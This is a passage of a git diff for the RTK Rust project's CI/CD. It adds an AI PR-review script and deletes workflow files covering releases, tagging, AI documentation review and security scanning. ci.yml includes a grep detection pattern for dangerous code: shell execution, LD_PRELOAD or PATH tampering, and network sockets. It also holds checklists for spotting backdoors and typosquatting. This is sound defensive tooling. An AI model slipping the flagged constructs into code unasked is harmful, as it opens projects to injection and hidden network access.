'https://api.anthropic.com/v1/messages', + data=json.dumps(payload).encode(), + headers={ + 'x-api-key': api_key, + 'anthropic-version': '2023-06-01', + 'content-type': 'application/json' + } + ) + try: + with urllib.request.urlopen(req) as resp: + result = json.loads(resp.read()) + review = result['content'][0]['text'] + except Exception as e: + review = "Warning: Error generating AI review: {}\n\nReview the diff manually before merging.".format(e) + +# prepend scan hits so they're visible even if the AI summary is brief +output = review +if scan_findings: + output = ( + "## Raw Pattern Scan Hits\n" + + "\n".join(scan_findings) + + "\n\n---\n\n" + + review + ) + +with open('/tmp/ai_review.md', 'w') as f: + f.write(output) +print(output) diff --git a/.github/workflows/CICD.md b/.github/workflows/CICD.md deleted file mode 100644 index ad5deb0acc..0000000000 --- a/.github/workflows/CICD.md +++ /dev/null @@ -1,140 +0,0 @@ -# CI/CD Flows - -## PR Quality Gates (ci.yml) - -Trigger: pull_request to develop or master - -``` - ┌──────────────────┐ - │ PR opened │ - └────────┬─────────┘ - │ - ┌────────▼─────────┐ - │ fmt --all │ - └────────┬─────────┘ - │ - ┌───────────▼──────────┐ - │ clippy --all-targets │ - └───┬───┬───┬───┬───┬──┘ - │ │ │ │ │ - ┌───────────────┘ │ │ │ └────────────────┐ - │ ┌───────────┘ │ └───────────┐ │ - ▼ ▼ ▼ ▼ ▼ - ┌──────────┐ ┌──────────┐ ┌───────────┐ ┌─────────┐ ┌──────────┐ - │ test │ │ security │ │ semgrep │ │benchmark│ │ doc │ - │ ubuntu │ │ cargo │ │ AST-aware │ │ >=80% │ │ review │ - │ windows │ │ audit │ │ diff-only │ │ savings │ │ ai agent │ - │ macos │ │ patterns │ │ │ │ │ │ │ - └────┬─────┘ └────┬─────┘ └─────┬─────┘ └────┬────┘ └────┬─────┘ - │ │ │ │ │ - └────────────┴─────────┬───┴─────────────┴────────────┘ - │ - ┌──────────▼─────────┐ - │ All must pass │ - │ to merge │ - └────────────────────┘ - - + DCO check (independent, develop PRs only) - + Dependabot (weekly: Cargo deps + GitHub Actions) -``` - -## Merge to develop — pre-release (cd.yml) - -Trigger: push to develop | workflow_dispatch (not master) | Concurrency: cancel-in-progress - -``` - ┌──────────────────┐ - │ push to develop │ - │ OR dispatch │ - └────────┬─────────┘ - │ - ┌────────▼──────────────────┐ - │ pre-release │ - │ compute next version │ - │ from conventional commits │ - │ tag = v{next}-rc.{run} │ - └────────┬──────────────────┘ - │ - ┌────────▼──────────────────┐ - │ release.yml │ - │ prerelease = true │ - └────────┬──────────────────┘ - │ - ┌────────▼──────────────────┐ - │ Build │ - │ 5 platforms + DEB + RPM │ - └────────┬──────────────────┘ - │ - ┌────────▼──────────────────┐ - │ GitHub Release │ - │ (pre-release badge) │ - │ │ - │ Discord: SKIPPED │ - │ Homebrew: SKIPPED │ - └──────────────────────────┘ -``` - -## Merge to master — stable release (cd.yml) - -Trigger: push to master (only) | Concurrency: never cancelled - -``` - ┌──────────────────┐ - │ push to master │ - └────────┬─────────┘ - │ - ┌────────▼──────────────────┐ - │ release-please │ - │ analyze conventional │ - │ commits │ - └────────┬──────────────────┘ - │ - ┌────┴────────────────┐ - │ │ - no release release created - │ │ - ▼ ▼ - ┌──────────────┐ ┌───────────────────────┐ - │ create/update│ │ release.yml │ - │ release PR │ │ prerelease = false │ - └──────────────┘ └───────────┬───────────┘ - │ - ┌────────────▼────────────┐ - │ Build │ - │ 5 platforms + DEB + RPM │ - └────────────┬────────────┘ - │ - ┌────────────▼────────────┐ - │ GitHub Release │ - │ (stable, "Latest" badge) │ - └──┬─────────┬─────────┬──┘ - │ │ │ - ▼ ▼ ▼ - Discord Homebrew latest - notify tap update tag -``` - -## Manual release (release.yml) - -Trigger: workflow_dispatch - -``` - ┌────────────────────────┐ - │ workflow_dispatch │ - │ inputs: tag, prerelease │ - └───────────┬────────────┘ - │ - ┌───────────▼────────────┐ - │ Full build pipeline │ - │ 5 platforms + DEB + RPM │ - └───────────┬────────────┘ - │ - ┌──────┴──────┐ - │ │ - prerelease=false prerelease=true - │ │ - ▼ ▼ - Discord pre-release - Homebrew badge only - latest tag -``` diff --git a/.github/workflows/cd.yml b/.github/workflows/cd.yml deleted file mode 100644 index 4719b943e9..0000000000 --- a/.github/workflows/cd.yml +++ /dev/null @@ -1,156 +0,0 @@ -name: CD - -on: - workflow_dispatch: - push: - branches: [develop, master] - -concurrency: - group: cd-${{ github.ref }} - cancel-in-progress: ${{ github.ref != 'refs/heads/master' }} - -permissions: - contents: write - pull-requests: write - -jobs: - # ═══════════════════════════════════════════════ - # DEVELOP PATH: Pre-release - # ═══════════════════════════════════════════════ - - pre-release: - if: >- - github.ref == 'refs/heads/develop' - || (github.event_name == 'workflow_dispatch' && github.ref != 'refs/heads/master') - runs-on: ubuntu-latest - outputs: - tag: ${{ steps.tag.outputs.tag }} - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - fetch-tags: true - - - name: Compute version from commits like release please - id: tag - run: | - LATEST_TAG=$(git tag -l 'v[0-9]*.[0-9]*.[0-9]*' --sort=-version:refname | grep -v '-' | head -1) - if [ -z "$LATEST_TAG" ]; then - echo "::error::No stable release tag found" - exit 1 - fi - LATEST_VERSION="${LATEST_TAG#v}" - echo "Latest release: $LATEST_TAG" - - # ── Analyse conventional commits since that tag ── - COMMITS=$(git log "${LATEST_TAG}..HEAD" --format="%s") - HAS_BREAKING=$(echo "$COMMITS" | grep -cE '^[a-z]+(\(.+\))?!:' || true) - HAS_FEAT=$(echo "$COMMITS" | grep -cE '^feat(\(.+\))?:' || true) - HAS_FIX=$(echo "$COMMITS" | grep -cE '^fix(\(.+\))?:' || true) - echo "Commits since ${LATEST_TAG} — breaking=$HAS_BREAKING feat=$HAS_FEAT fix=$HAS_FIX" - - # ── Compute next version (matches release-please observed behaviour) ── - # Pre-1.0 with bump-minor-pre-major: breaking → minor, feat → minor, fix → patch - IFS='.' read -r MAJOR MINOR PATCH <<< "$LATEST_VERSION" - if [ "$MAJOR" -eq 0 ]; then - if [ "$HAS_BREAKING" -gt 0 ] || [ "$HAS_FEAT" -gt 0 ]; then - MINOR=$((MINOR + 1)); PATCH=0 # breaking or feat → minor - else - PATCH=$((PATCH + 1)) # fix only → patch - fi - else - if [ "$HAS_BREAKING" -gt 0 ]; then - MAJOR=$((MAJOR + 1)); MINOR=0; PATCH=0 # breaking → major - elif [ "$HAS_FEAT" -gt 0 ]; then - MINOR=$((MINOR + 1)); PATCH=0 # feat → minor - else - PATCH=$((PATCH + 1)) # fix → patch - fi - fi - VERSION="${MAJOR}.${MINOR}.${PATCH}" - TAG="dev-${VERSION}-rc.${{ github.run_number }}" - - echo "Next version: $VERSION (from $LATEST_VERSION)" - echo "Pre-release tag: $TAG" - - # Safety: fail if this exact tag already exists - if git ls-remote --tags origin "refs/tags/${TAG}" | grep -q .; then - echo "::error::Tag ${TAG} already exists" - exit 1 - fi - - echo "tag=$TAG" >> $GITHUB_OUTPUT - - build-prerelease: - name: Build pre-release - needs: pre-release - if: needs.pre-release.outputs.tag != '' - uses: ./.github/workflows/release.yml - with: - tag: ${{ needs.pre-release.outputs.tag }} - prerelease: true - permissions: - contents: write - secrets: inherit - - # ═══════════════════════════════════════════════ - # MASTER PATH: Full release - # ═══════════════════════════════════════════════ - - release-please: - if: github.ref == 'refs/heads/master' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch') - runs-on: ubuntu-latest - outputs: - release_created: ${{ steps.release.outputs.release_created }} - tag_name: ${{ steps.release.outputs.tag_name }} - steps: - - uses: actions/create-github-app-token@v3 - id: app-token - with: - client-id: ${{ secrets.APP_CLIENT_ID }} - private-key: ${{ secrets.APP_PRIVATE_KEY }} - permission-contents: write - permission-pull-requests: write - - uses: googleapis/release-please-action@v4 - id: release - with: - release-type: rust - package-name: rtk - token: ${{ steps.app-token.outputs.token }} - target-branch: ${{ github.ref_name }} - - build-release: - name: Build and upload release assets - needs: release-please - if: ${{ needs.release-please.outputs.release_created == 'true' }} - uses: ./.github/workflows/release.yml - with: - tag: ${{ needs.release-please.outputs.tag_name }} - permissions: - contents: write - secrets: inherit - - update-latest-tag: - name: Update 'latest' tag - needs: [release-please, build-release] - if: ${{ needs.release-please.outputs.release_created == 'true' }} - runs-on: ubuntu-latest - steps: - - uses: actions/create-github-app-token@v3 - id: app-token - with: - client-id: ${{ secrets.APP_CLIENT_ID }} - private-key: ${{ secrets.APP_PRIVATE_KEY }} - permission-contents: write - - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - token: ${{ steps.app-token.outputs.token }} - - - name: Update latest tag - run: | - git config user.name "github-actions[bot]" - git config user.email "github-actions[bot]@users.noreply.github.com" - git tag -fa latest -m "Latest stable release (${{ needs.release-please.outputs.tag_name }})" - git push origin latest --force diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml deleted file mode 100644 index 992dea78e6..0000000000 --- a/.github/workflows/ci.yml +++ /dev/null @@ -1,389 +0,0 @@ -name: CI - -on: - pull_request: - branches: [develop, master] - -permissions: - contents: read - pull-requests: read - -env: - CARGO_TERM_COLOR: always - -jobs: - # ─── Fast gates (fail early, save CI minutes) ─── - - check-test-presence: - name: test presence - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 50 - - name: Check filter modules have tests - run: | - git fetch origin "${{ github.base_ref }}" --depth=1 || true - bash scripts/check-test-presence.sh "origin/${{ github.base_ref }}" - - fmt: - name: fmt - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - uses: dtolnay/rust-toolchain@stable - with: - components: rustfmt - - run: cargo fmt --all -- --check - - clippy: - name: clippy - needs: fmt - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - uses: dtolnay/rust-toolchain@stable - with: - components: clippy - - uses: Swatinem/rust-cache@v2 - - run: cargo clippy --all-targets - - # ─── Parallel gates (all need code to compile) ─── - - test: - name: test (${{ matrix.os }}) - needs: clippy - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - steps: - - uses: actions/checkout@v4 - - uses: dtolnay/rust-toolchain@stable - - uses: Swatinem/rust-cache@v2 - - run: cargo test --all - - security: - name: Security Scan - needs: clippy - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - uses: dtolnay/rust-toolchain@stable - - - uses: Swatinem/rust-cache@v2 - - - name: Install cargo-audit - run: cargo install cargo-audit - - - name: Cargo Audit (CVE check) - run: | - echo "## Security Scan Results" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "### Dependency Vulnerabilities" >> $GITHUB_STEP_SUMMARY - if cargo audit 2>&1 | tee audit.log; then - echo "No known vulnerabilities detected" >> $GITHUB_STEP_SUMMARY - else - echo "Vulnerabilities found:" >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - cat audit.log >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "::warning::Dependency vulnerabilities detected - review required" - fi - echo "" >> $GITHUB_STEP_SUMMARY - - - name: Critical files check - run: | - echo "### Critical Files Modified" >> $GITHUB_STEP_SUMMARY - CRITICAL=$(git diff --name-only origin/master...HEAD | grep -E "(runner|summary|tracking|init|pnpm_cmd|container)\.rs|Cargo\.toml|workflows/.*\.yml" || true) - if [ -n "$CRITICAL" ]; then - echo "**HIGH RISK**: The following critical files were modified:" >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "$CRITICAL" >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Required Actions:**" >> $GITHUB_STEP_SUMMARY - echo "- [ ] Manual security review by 2 maintainers" >> $GITHUB_STEP_SUMMARY - echo "- [ ] Verify no shell injection vectors" >> $GITHUB_STEP_SUMMARY - echo "- [ ] Check input validation remains intact" >> $GITHUB_STEP_SUMMARY - echo "::warning::Critical RTK files modified - enhanced review required" - else - echo "No critical files modified" >> $GITHUB_STEP_SUMMARY - fi - echo "" >> $GITHUB_STEP_SUMMARY - - - name: Dangerous patterns scan - run: | - echo "### Dangerous Code Patterns" >> $GITHUB_STEP_SUMMARY - PATTERNS=$(git diff origin/master...HEAD | grep -E "Command::new\(\"sh\"|Command::new\(\"bash\"|\.env\(\"LD_PRELOAD|\.env\(\"PATH|reqwest::|std::net::|TcpStream|UdpSocket|unsafe \{|\.unwrap\(\) |panic!\(|todo!\(|unimplemented!\(" || true) - if [ -n "$PATTERNS" ]; then - echo "**Potentially dangerous patterns detected:**" >> $GITHUB_STEP_SUMMARY - echo '```diff' >> $GITHUB_STEP_SUMMARY - echo "$PATTERNS" | head -30 >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Security Concerns:**" >> $GITHUB_STEP_SUMMARY - echo "$PATTERNS" | grep -q "Command::new" && echo "- Shell command execution detected" >> $GITHUB_STEP_SUMMARY || true - echo "$PATTERNS" | grep -q "\.env\(\"" && echo "- Environment variable manipulation" >> $GITHUB_STEP_SUMMARY || true - echo "$PATTERNS" | grep -q "reqwest::\|std::net::\|TcpStream\|UdpSocket" && echo "- Network operations added" >> $GITHUB_STEP_SUMMARY || true - echo "$PATTERNS" | grep -q "unsafe" && echo "- Unsafe code blocks" >> $GITHUB_STEP_SUMMARY || true - echo "$PATTERNS" | grep -q "\.unwrap\(\)\|panic!\(" && echo "- Panic-inducing code" >> $GITHUB_STEP_SUMMARY || true - echo "::warning::Dangerous code patterns detected - manual review required" - else - echo "No dangerous patterns detected" >> $GITHUB_STEP_SUMMARY - fi - echo "" >> $GITHUB_STEP_SUMMARY - - - name: New dependencies check - run: | - echo "### Dependencies Changes" >> $GITHUB_STEP_SUMMARY - if git diff origin/master...HEAD Cargo.toml | grep -E "^\+.*=" | grep -v "^\+\+\+" > new_deps.txt; then - echo "**New dependencies added:**" >> $GITHUB_STEP_SUMMARY - echo '```toml' >> $GITHUB_STEP_SUMMARY - cat new_deps.txt >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Required Actions:**" >> $GITHUB_STEP_SUMMARY - echo "- [ ] Audit each new dependency on crates.io" >> $GITHUB_STEP_SUMMARY - echo "- [ ] Check maintainer reputation and download counts" >> $GITHUB_STEP_SUMMARY - echo "- [ ] Verify no typosquatting (e.g., 'reqwest' vs 'request')" >> $GITHUB_STEP_SUMMARY - echo "::warning::New dependencies require supply chain audit" - else - echo "No new dependencies added" >> $GITHUB_STEP_SUMMARY - fi - echo "" >> $GITHUB_STEP_SUMMARY - - - name: Clippy security lints - run: | - echo "### Clippy Security Lints" >> $GITHUB_STEP_SUMMARY - if cargo clippy --all-targets -- -W clippy::unwrap_used -W clippy::panic -W clippy::expect_used 2>&1 | tee clippy.log | grep -E "warning:|error:"; then - echo "Security-related lints triggered:" >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - grep -E "warning:|error:" clippy.log | head -20 >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "::warning::Clippy security lints failed" - else - echo "All security lints passed" >> $GITHUB_STEP_SUMMARY - fi - - - name: Summary verdict - run: | - echo "---" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "### Security Review Verdict" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**This is an automated security scan. A human maintainer must:**" >> $GITHUB_STEP_SUMMARY - echo "1. Review all warnings above" >> $GITHUB_STEP_SUMMARY - echo "2. Verify PR intent matches actual code changes" >> $GITHUB_STEP_SUMMARY - echo "3. Check for subtle backdoors or logic bombs" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**For high-risk PRs (critical files modified):**" >> $GITHUB_STEP_SUMMARY - echo "- Require approval from 2 maintainers" >> $GITHUB_STEP_SUMMARY - echo "- Test in isolated environment before merge" >> $GITHUB_STEP_SUMMARY - - semgrep: - name: semgrep security scan - needs: clippy - runs-on: ubuntu-latest - container: - image: semgrep/semgrep - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - run: semgrep scan --config .semgrep.yml --baseline-commit ${{ github.event.pull_request.base.sha }} --error - - benchmark: - name: benchmark - needs: clippy - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - - uses: dtolnay/rust-toolchain@stable - - - uses: Swatinem/rust-cache@v2 - - - name: Build rtk - run: cargo build --release - - - name: Install system tools - run: sudo apt-get install -y tree - - - name: Install Python tools - run: pip install ruff pytest mypy - - - name: Install Go - uses: actions/setup-go@v5 - with: - go-version: "stable" - - - name: Install Go tools - run: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest - - - name: Run benchmark - run: ./scripts/benchmark.sh - - # ─── AI Doc Review: develop PRs only ─── - - doc-review: - name: doc review - if: github.base_ref == 'develop' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Gather PR context - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - PR_NUM=${{ github.event.pull_request.number }} - gh pr diff "$PR_NUM" --name-only > changed_files.txt - gh pr diff "$PR_NUM" | head -c 12000 > diff.txt - gh pr view "$PR_NUM" --json title,body --jq '"PR Title: \(.title)\nPR Description: \(.body)"' > pr_info.txt - - - name: Build prompt files - run: | - # System prompt - cat <<'EOF' > system_prompt.txt - You are a documentation reviewer for the RTK project. - You will receive the project's CONTRIBUTING.md (which contains the documentation rules), the PR info, changed files, and diff. - Your job: based ONLY on the documentation rules in CONTRIBUTING.md, decide if the PR includes the required documentation updates. - - IMPORTANT: - - CI/CD changes, test-only changes, and refactors with no user-facing impact do NOT require doc updates. - - Be practical, not pedantic. Small obvious fixes don't need CHANGELOG entries. - - Only flag missing docs when there is a clear user-facing change. - EOF - - # User prompt: concatenate files (no printf, no variable expansion issues) - { - cat pr_info.txt - echo "" - echo "---" - echo "CONTRIBUTING.md:" - cat CONTRIBUTING.md - echo "" - echo "---" - echo "Changed files:" - cat changed_files.txt - echo "" - echo "---" - echo "Diff (may be truncated):" - cat diff.txt - } > user_prompt.txt - - - name: AI documentation review - env: - ANTHROPIC_API_KEY: ${{ secrets.RTK_DOCS_ANTHROPIC_KEY }} - run: | - echo "## Documentation Review (AI)" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - - if [ -z "$ANTHROPIC_API_KEY" ]; then - echo "::warning::ANTHROPIC_API_KEY not configured — skipping AI doc review" - echo "Skipped: ANTHROPIC_API_KEY secret not configured." >> $GITHUB_STEP_SUMMARY - exit 0 - fi - - echo "::group::Preparing API request" - echo "System prompt: $(wc -c < system_prompt.txt) bytes" - echo "User prompt: $(wc -c < user_prompt.txt) bytes" - SYSTEM_JSON=$(jq -Rs . < system_prompt.txt) - USER_JSON=$(jq -Rs . < user_prompt.txt) - echo "::endgroup::" - - echo "::group::Calling Claude API (claude-sonnet-4-6)" - RESPONSE=$(curl -s -w "\n%{http_code}" https://api.anthropic.com/v1/messages \ - -H "content-type: application/json" \ - -H "x-api-key: $ANTHROPIC_API_KEY" \ - -H "anthropic-version: 2023-06-01" \ - -d "{ - \"model\": \"claude-sonnet-4-6\", - \"max_tokens\": 1024, - \"messages\": [{\"role\": \"user\", \"content\": $USER_JSON}], - \"system\": $SYSTEM_JSON, - \"output_config\": { - \"format\": { - \"type\": \"json_schema\", - \"schema\": { - \"type\": \"object\", - \"properties\": { - \"status\": {\"type\": \"string\", \"enum\": [\"PASS\", \"FAIL\"]}, - \"reasoning\": {\"type\": \"array\", \"items\": {\"type\": \"string\"}}, - \"files_to_update\": {\"type\": \"array\", \"items\": {\"type\": \"string\"}} - }, - \"required\": [\"status\", \"reasoning\", \"files_to_update\"], - \"additionalProperties\": false - } - } - } - }") - - HTTP_CODE=$(echo "$RESPONSE" | tail -1) - BODY=$(echo "$RESPONSE" | sed '$d') - echo "HTTP status: $HTTP_CODE" - echo "::endgroup::" - - if [ "$HTTP_CODE" != "200" ]; then - echo "::warning::Claude API returned HTTP $HTTP_CODE — skipping doc review" - echo "Skipped: API error (HTTP $HTTP_CODE)" >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - echo "$BODY" | head -10 >> $GITHUB_STEP_SUMMARY - echo '```' >> $GITHUB_STEP_SUMMARY - exit 0 - fi - - # Parse structured JSON response - REVIEW_JSON=$(echo "$BODY" | jq -r '.content[0].text // empty') - - if [ -z "$REVIEW_JSON" ]; then - echo "::warning::Empty response from Claude API — skipping doc review" - echo "Skipped: empty API response" >> $GITHUB_STEP_SUMMARY - echo "Raw response:" - echo "$BODY" | head -20 - exit 0 - fi - - echo "::group::AI Review Result" - echo "$REVIEW_JSON" | jq . - echo "::endgroup::" - - STATUS=$(echo "$REVIEW_JSON" | jq -r '.status') - REASONING=$(echo "$REVIEW_JSON" | jq -r '.reasoning[]' 2>/dev/null) - FILES=$(echo "$REVIEW_JSON" | jq -r '.files_to_update[]' 2>/dev/null) - - echo "### Verdict: ${STATUS}" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - - if [ -n "$REASONING" ]; then - echo "**Reasoning:**" >> $GITHUB_STEP_SUMMARY - echo "$REASONING" | while IFS= read -r line; do - echo "- $line" >> $GITHUB_STEP_SUMMARY - done - echo "" >> $GITHUB_STEP_SUMMARY - fi - - if [ "$STATUS" = "FAIL" ] && [ -n "$FILES" ]; then - echo "**Files to update:**" >> $GITHUB_STEP_SUMMARY - echo "$FILES" | while IFS= read -r f; do - echo "- \`$f\`" >> $GITHUB_STEP_SUMMARY - done - echo "" >> $GITHUB_STEP_SUMMARY - fi - - if [ "$STATUS" = "PASS" ]; then - echo "Documentation review passed." - elif [ "$STATUS" = "FAIL" ]; then - echo "::error::Documentation review failed — see summary for details" - exit 1 - else - echo "::warning::Unexpected status '${STATUS}' — skipping" - echo "Unexpected AI response status: ${STATUS}" >> $GITHUB_STEP_SUMMARY - fi diff --git a/.github/workflows/next-release.yml b/.github/workflows/next-release.yml deleted file mode 100644 index e7535f8642..0000000000 --- a/.github/workflows/next-release.yml +++ /dev/null @@ -1,126 +0,0 @@ -name: Update Next Release PR - -on: - pull_request: - types: [closed] - branches: [develop] - -permissions: - contents: read - pull-requests: write - -jobs: - update-next-release: - if: github.event.pull_request.merged == true - runs-on: ubuntu-latest - steps: - - name: Update Next Release PR - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PR_NUMBER: ${{ github.event.pull_request.number }} - PR_TITLE: ${{ github.event.pull_request.title }} - PR_URL: ${{ github.event.pull_request.html_url }} - PR_BODY: ${{ github.event.pull_request.body }} - REPO: ${{ github.repository }} - ALLOWED_REPOS: "rtk-ai/rtk" - run: | - set -euo pipefail - - URL_PATTERN="" - for repo in $ALLOWED_REPOS; do - URL_PATTERN="${URL_PATTERN}|https://github\\.com/${repo}/issues/[0-9]+" - done - URL_PATTERN="${URL_PATTERN#|}" - - if printf '%s' "$PR_TITLE" | grep -qiE '^feat'; then - SECTION="Feats" - elif printf '%s' "$PR_TITLE" | grep -qiE '^fix'; then - SECTION="Fix" - else - SECTION="Other" - fi - - ISSUE_REFS="" - if [ -n "$PR_BODY" ]; then - ISSUE_REFS=$(echo "$PR_BODY" \ - | grep -oiE "(closes|fixes|resolves):?\s+#[0-9]+|${URL_PATTERN}" \ - | grep -oE '#[0-9]+|issues/[0-9]+' \ - | sed 's|issues/|#|' \ - | sort -u \ - || true) - fi - - ENTRY="- ${PR_TITLE} [#${PR_NUMBER}](${PR_URL})" - if [ -n "$ISSUE_REFS" ]; then - CLOSES_PARTS="" - while IFS= read -r ref; do - [ -z "$ref" ] && continue - NUM="${ref#\#}" - ISSUE_URL="https://github.com/${REPO}/issues/${NUM}" - if [ -n "$CLOSES_PARTS" ]; then - CLOSES_PARTS="${CLOSES_PARTS}, [${ref}](${ISSUE_URL}) (to verify)" - else - CLOSES_PARTS="Closes [${ref}](${ISSUE_URL}) (to verify)" - fi - done <<< "$ISSUE_REFS" - ENTRY="${ENTRY} — ${CLOSES_PARTS}" - fi - - NEXT_PR=$(gh pr list \ - --repo "$REPO" \ - --label next-release \ - --base master \ - --head develop \ - --state open \ - --json number,body \ - --jq '.[0] // empty') - - NEXT_PR_NUMBER="" - if [ -n "$NEXT_PR" ]; then - NEXT_PR_NUMBER=$(echo "$NEXT_PR" | jq -r '.number') - fi - - if [ -z "$NEXT_PR_NUMBER" ]; then - TEMPLATE="### Feats - - ### Fix - - ### Other" - - PR_CREATE_URL=$(gh pr create \ - --repo "$REPO" \ - --base master \ - --head develop \ - --title "Next Release" \ - --label next-release \ - --body "$TEMPLATE") - - NEXT_PR_NUMBER=$(echo "$PR_CREATE_URL" | grep -oE '/pull/[0-9]+' | grep -oE '[0-9]+') - CURRENT_BODY="$TEMPLATE" - else - CURRENT_BODY=$(echo "$NEXT_PR" | jq -r '.body') - fi - - SECTION_HEADER="### ${SECTION}" - export ENTRY - if echo "$CURRENT_BODY" | grep -qF "$SECTION_HEADER"; then - UPDATED_BODY=$(echo "$CURRENT_BODY" | awk -v section="$SECTION_HEADER" ' - $0 == section { - print - print ENVIRON["ENTRY"] - next - } - { print } - ') - else - UPDATED_BODY="${CURRENT_BODY} - - ${SECTION_HEADER} - ${ENTRY}" - fi - - gh pr edit "$NEXT_PR_NUMBER" \ - --repo "$REPO" \ - --body "$UPDATED_BODY" - - echo "Updated Next Release PR #${NEXT_PR_NUMBER} — added entry to ### ${SECTION}" diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml deleted file mode 100644 index ac3ec13666..0000000000 --- a/.github/workflows/pr-target-check.yml +++ /dev/null @@ -1,48 +0,0 @@ -name: PR Target Branch Check - -on: - pull_request_target: - types: [opened, edited] - -jobs: - check-target: - runs-on: ubuntu-latest - permissions: {} - # Skip develop→master PRs (maintainer releases) - if: >- - github.event.pull_request.base.ref == 'master' && - github.event.pull_request.head.ref != 'develop' - steps: - - uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 - id: app-token - with: - client-id: ${{ secrets.APP_CLIENT_ID }} - private-key: ${{ secrets.APP_PRIVATE_KEY }} - permission-pull-requests: write - - - name: Add wrong-base label and comment - uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 - with: - github-token: ${{ steps.app-token.outputs.token }} - script: | - const pr = context.payload.pull_request; - - // Add label - await github.rest.issues.addLabels({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: pr.number, - labels: ['wrong-base'] - }); - - // Post comment - const body = `Automatic message from CI checks : It seems like this branch is targeting the wrong branch, any contribution should target develop branch. - - See [CONTRIBUTING.md](https://github.com/rtk-ai/rtk/blob/master/CONTRIBUTING.md) for details.`; - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: pr.number, - body: body - }); diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml deleted file mode 100644 index d18a3b357f..0000000000 --- a/.github/workflows/release.yml +++ /dev/null @@ -1,361 +0,0 @@ -name: Release - -on: - workflow_call: - inputs: - tag: - description: 'Tag to release' - required: true - type: string - prerelease: - description: 'Mark as pre-release' - required: false - type: boolean - default: false - workflow_dispatch: - inputs: - tag: - description: 'Tag to release (e.g., v0.1.0)' - required: true - prerelease: - description: 'Mark as pre-release' - type: boolean - default: false - -permissions: - contents: write - -env: - CARGO_TERM_COLOR: always - -jobs: - build: - name: Build ${{ matrix.target }} - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - include: - # macOS - - target: x86_64-apple-darwin - os: macos-latest - archive: tar.gz - - target: aarch64-apple-darwin - os: macos-latest - archive: tar.gz - # Linux - - target: x86_64-unknown-linux-musl - os: ubuntu-latest - archive: tar.gz - musl: true - - target: aarch64-unknown-linux-gnu - os: ubuntu-latest - archive: tar.gz - cross: true - # Windows - - target: x86_64-pc-windows-msvc - os: windows-latest - archive: zip - - steps: - - name: Checkout - uses: actions/checkout@v4 - - - name: Install Rust - uses: dtolnay/rust-toolchain@stable - with: - targets: ${{ matrix.target }} - - - name: Install cross-compilation tools - if: matrix.cross - run: | - sudo apt-get update - sudo apt-get install -y gcc-aarch64-linux-gnu - echo "CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER=aarch64-linux-gnu-gcc" >> $GITHUB_ENV - - - name: Install musl tools - if: matrix.musl - run: | - sudo apt-get update - sudo apt-get install -y musl-tools - - - name: Build - run: cargo build --release --target ${{ matrix.target }} - env: - RTK_TELEMETRY_URL: ${{ vars.RTK_TELEMETRY_URL }} - RTK_TELEMETRY_TOKEN: ${{ secrets.RTK_TELEMETRY_TOKEN }} - - - name: Package (Unix) - if: matrix.os != 'windows-latest' - run: | - cd target/${{ matrix.target }}/release - tar -czvf ../../../rtk-${{ matrix.target }}.${{ matrix.archive }} rtk - cd ../../.. - - - name: Package (Windows) - if: matrix.os == 'windows-latest' - run: | - cd target/${{ matrix.target }}/release - 7z a ../../../rtk-${{ matrix.target }}.${{ matrix.archive }} rtk.exe - cd ../../.. - - - name: Upload artifact - uses: actions/upload-artifact@v4 - with: - name: rtk-${{ matrix.target }} - path: rtk-${{ matrix.target }}.${{ matrix.archive }} - - build-deb: - name: Build DEB package - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v4 - - - name: Install Rust - uses: dtolnay/rust-toolchain@stable - - - name: Install 